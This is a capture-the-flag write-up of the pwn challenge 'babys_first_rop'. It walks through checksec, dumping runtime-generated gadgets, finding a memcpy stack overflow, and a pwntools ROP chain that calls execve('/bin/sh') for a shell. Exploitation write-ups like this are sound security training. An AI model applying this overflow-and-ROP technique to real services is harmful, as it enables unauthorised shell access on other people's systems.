If this is your first time, it will be your first time. Available at 172.31.2.62:47802 - https://scoreboard.openctf.com/babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5
File Download: babys_first_rop-e0f4088e3b5a86cf3d388fac3bc070493c6f71c5
My initial investigation usually starts the same with pwn challenges. I like to start with running the
file command so that I get a high-level idea of what I’m working with.
$ file babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a92f66db1ba36b3e54041f5de948f19d9043aed1, not stripped
Ok, so it’s an x86-64 binary, not stripped, and dynamically linked. I next like to run checksec (included with
pwntools), as this will be useful information to keep in mind when looking for vulnerabilities and later building the exploit.
$ checksec babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca [*] 'babys_first_rop-719f2fbc00e318076347df5eb215a20741fb29ca' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
- No canaries, so if we find a stack overflow vulnerability, we won’t need to circumvent any canaries.
- NX is enabled, so as the name and description for the challenge implies, we won’t be able to put shellcode on the stack, we will have to build a ROP chain.
- No PIE, so our gadgets should be accessible from hardcoded memory addresses.
I knew I would need gadgets for this challenge (for the ROP chain), so I decided to run ROPgadget on the binary. Unfortunately, I didn’t find that many gadgets, which is common for dynamically linked binaries. So I figured I would move onto reversing.
I opened up the binary in IDA Pro, I immediately noticed a common call that gets in the way of debugging.
This alarm call causes the program to crash after 30 seconds. This isn’t a lot of time for debugging, so I’m going to go ahead and remove this from the binary. While I certainly could manually hex-edit the bytes and replace with the correct number of
NOP instructions, using the IDA Pro plugin, Fentanyl makes this way quicker and easier.
Admittedly, I didn’t do a ton of reversing on this one. I knew I still needed to find gadgets for this challenge, so I started looking for how I might find these. It didn’t take long for me to notice this loop in the assembly.
I didn’t fully reverse this, but with assistence from the symbols, I suspected the gadgets are getting generated at run-time. And based on the
mprotect call, I suspect that the location where these gadgets are getting stored is marked as executable. Instead of reversing these gadgets, I decided to attach a debugger after the gadgets are generated and dumping the memory. However, I wasn’t exactly sure how I would dump the memory to a file. After some quick Google-fu, I found this helpful Github gist by herrcore ida_memdump.py. I simply copy&pasted the script into the IDA-Python immediate window. Then I set a breakpoing right before the instruction for
call vuln (0x0400717). Once the breakpoint is reached, I dumped gadgets by simply entering the following command into the immediate window:
memdump(0x601080, 0x30000, 'gadgets.raw'). To explain where these values are comming from, 0x601080 is the location of where the gadgets are stored in the .bss section. For the length, I used 0x30000 as this is the length provided above to the call to
mprotect. And the last parameter is simply an arbitrary filename.
Now to convert this raw dump into a readable, searchable format, I used
objdump. The full command is below:
objdump -D -b binary -m i386 gadgets.raw > gadgets_objdump.txt
NOTE: I initially tried to use x86-64 for the option for ‘-m’, but that was throwing an error. Since x86-64 is backwards compatible with x86 (i386), I figured this shouldn’t be a problem. An example of this output can be seen below:
gadgets.raw: file format binary Disassembly of section .data: 00000000 <.data>: 0: 00 00 add %al,(%eax) 2: c3 ret 3: 00 01 add %al,(%ecx) 5: c3 ret 6: 00 02 add %al,(%edx) 8: c3 ret 9: 00 03 add %al,(%ebx) b: c3 ret c: 00 04 c3 add %al,(%ebx,%eax,8) f: 00 05 c3 00 06 c3 add %al,0xc30600c3 15: 00 07 add %al,(%edi) ........ lots of gadgets ........ 2fffe: ff c3 inc %ebx
Now before I build my ropchain, I want to make sure I have a vulnerability to trigger the ropchain. Again, using the symbols as a clue, I go straight to the
Here, we have a pretty obvious stack overflow. Read is called, with a length of
0x100 and stored in a hard-coded location in
.bss. Then, memcpy is called to copy upto
0x100 bytes onto the stack, however, only
0x50 bytes are allocated on the stack for the destination of this memcpy. So now we have our vulnerability!
Solution (Exploit Development)
If you are not familiar with the pwntools library for Python, I highly recommend getting familiar with it. It is incredibly helpful for building exploits for CTFs, and can also come in handy for non-pwn challenges, such as PPC or shellcoding challenges.
So first I start with building my payload. We will need 0x58(88) bytes of padding, followed by our ROP chain.
payload = '' payload += 'A'*88
Ok, let’s think about what we want our ROP chain to do. The goal for most pwn challenges, is to pop a shell. The easiest way is to somehow execute
execve. Let’s take a look at the Linux x64 Syscall chart.
%rax System call %rdi %rsi %rdx 59 sys_execve const char *filename const char *const argv const char *const envp
So to get a shell, we want something like the following psuedo-code:
rax = 59 rdi = '/bin/sh\x00' rsi = '\x00\x00\x00\x00\x00\x00\x00\x00' rdx = '\x00\x00\x00\x00\x00\x00\x00\x00'
So if we can setup the registers to match above, and then execute the
syscall instruction, we should get a shell to play with!
We have lots of gadgets to play with, but the easiest gadgets for writing arbitrary data to registers is the pop instruction. This allows us to simply place the desired values directly on the stack. However, I now begin to ask myself, how am I going to get a hardcoded address pointing to
/bin/sh\x00? Well, that’s when I noticed when debugging the vuln function, that the rdi register was already pointing to the beginning of my payload padding. So let’s just put ‘/bin/sh\x00’ at the beginning before the padding. And while I’m at it, I also go ahead and add a 64-bit 0x00 value after the
/bin/sh\x00 string. Additionally, I also realized that the payload is also stored in a hard-coded location in the .bss section, not just on the stack. So below is what my payload looks like now:
payload = '' payload += '/bin/sh\x00' payload += p64(0x00) payload += 'A'*(88-len(payload))
And memory locations:
0x631080: '/bin/sh\x00' 0x631088: '\x00\x00\x00\x00\x00\x00\x00\x00'
And as I mentioned above,
rdi is already pointing to the beginning of my payload, which is now
/bin/sh\x00. So we need a gadget for setting the following registers,
rdx, and of course, the syscall gadget.
pop instruction will be the easiest for us, so I simply grepped the text dump for pop. Since we decoded the instructions as x86, we’ll be looking for the x86 registers. There are duplicates, but these were the ones I happend to grab:
GADGETS_BASE = 0x601080 GADGET_POP_EAX = GADGETS_BASE + 0x7609#: 58 pop %eax GADGET_POP_ESI = GADGETS_BASE + 0x761b#: 5e pop %esi GADGET_POP_EDX = GADGETS_BASE + 0x760f#: 5a pop %edx GADGET_SYSCALL = GADGETS_BASE + 0x2d0f#: 0f 05 syscall
Finally, we are ready to put everything together for the complete ROP chain:
p = getp() payload = '' payload += '/bin/sh\x00' payload += p64(0x00) payload += 'A'*(88-len(payload)) payload += p64(GADGET_POP_EAX) payload += p64(59) payload += p64(GADGET_POP_ESI) payload += p64(0x631088) payload += p64(GADGET_POP_EDX) payload += p64(0x631088) payload += p64(GADGET_SYSCALL) p.sendline(payload)
Full Script Download: babys_first_rop_pwner.py